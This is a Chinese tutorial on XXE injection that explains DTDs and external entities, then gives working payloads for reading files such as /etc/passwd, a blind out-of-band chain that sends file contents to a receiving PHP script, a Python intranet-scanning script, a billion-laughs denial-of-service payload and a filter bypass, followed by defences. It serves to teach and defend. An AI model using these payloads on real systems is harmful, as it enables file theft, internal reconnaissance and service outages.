XXE 是什么?

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

我们可以利用XML注入来做很多有意思的事情,具体看后文,有hacking细节.

关于DTD的那些事

XML 格式校验-01-DTD 简介

DTD全称是The document type definition,即是文档类型定义,

可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

有了DTD文档,独立的应用程序,可以用最少的交互来交换和处理数据。

一个应用程序也可以使用DTD来确认从DTD收到的数据是有效的 另外,DTD可以用来配置一个XML/Web应用程序防火墙,例如 : XML防火墙验证XML用户 - 提供基于DTD的输入。

例子

一般如下面所示:

  • 内部声明
  [xml]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
  • 外部声明
  [xml]
1
2
3
4
5
6
7
8
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>

对应的 note.dtd 内容如下:

  [xml]
1
2
3
4
5
<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>

外部实体

如果DTD在外部文件中声明,则DOCTYPE定义必须包含对DTD文件的引用。

这个文件从外部暴露给目标应用程序并且对于攻击者来说,它是有价值的。

DTD文档从安全角度来看非常重要,因为它们有助于理解XML解析器的攻击面。

XML标准使用了一个名为外部一般解析实体的概念,也称为外部实体

外部实体即在DTD中使用

  [xml]
1
<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?

主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

外部实体语法

  • 实际例子
  [xml]
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY content SYSTEM "file:///etc/passwd">]> <foo> <value>&content;</value> </foo>

在上下文中的外部实体的XML解析器,用于引用可以在Web应用程序代码之外的位置找到数据,例如:本地或远程文件系统; 这可以使用各种众所周知的协议来检索,例如HTTP,FTP或HTTPS。

该实体的目的是通过使用统一资源定位符(URI)形式的链接帮助减少重复出现的信息的进入。

大多数流行的标记语言用于引用内容,并且普通的互联网用户在浏览互联网时非常happy地点击了数千个这样的引用。

XML注入产生的原理

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

xxe漏洞检测

第一步检测XML是否会被成功解析:

  [xml]
1
2
3
4
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "my name is nMask">]> <root>&name;</root>

如果页面输出了my name is nMask,说明xml文件可以被解析。

第二步检测服务器是否支持DTD引用外部实体:

  [xml]
1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "http://localhost/index.html"> %name; ]>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

xxe漏洞利用

xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

读取任意文件

由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

  [xml]
1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % name SYSTEM "file://c:\test.txt"> %name; ]>

如果是linux下,可以读取/etc/passwd等目录下敏感数据。

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?

需要使用blind xxe漏洞去利用。

blind xxe 漏洞

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

创建test.php写入以下内容:

  [php]
1
2
3
<?php file_put_contents("test.txt", $_GET['file']) ; ?>

创建index.php写入以下内容:

  [php]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php $xml=<<<EOF <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///C:/test.txt"> <!ENTITY % remote SYSTEM "http://localhost/test.xml"> %remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "<pre>" ; print_r($data) ; ?>

创建test.xml并写入以下内容:

  [xml]
1
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

注:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍啦

主机探测

  [xml]
1
2
3
4
5
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://10.10.10.1"> ]> <x>&f;</x>

对ip地址进行探测或者使用FTP协议探测

内网探测

xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。

可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。

一个 python 脚本实例:

  [py]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests import base64 #Origtional XML that the server accepts #<xml> # <stuff>user</stuff> #</xml> def build_xml(string): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml) def send_xml(xml): headers = {'Content-Type': 'application/xml'} x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value print coded_string # print base64.b64decode(coded_string) for i in range(1, 255): try: i = str(i) ip = '192.168.1.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except: print "error" continue

DDOS 攻击

  [xml]
1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "abc"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。

原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

防御方法

禁用外部实体

对于Java来说,直接设置相应的属性值为false即可

  [java]
1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

过滤和验证用户提交的XML数据

过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEM和PUBLIC。

可能存在被绕过的情况,如(过滤了<EMTITY)Bypass:

  [xml]
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE svg SYSTEM "http://vps/xxe.dtd"> <root> <user>&xxe;</user> </root>

不允许XML中含有任何自己声明的DTD

有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;

拓展阅读

web 安全系列

参考资料

XXE漏洞学习从入门到放弃

XXE 入门到放弃

浅谈XXE漏洞攻击与防御

XXE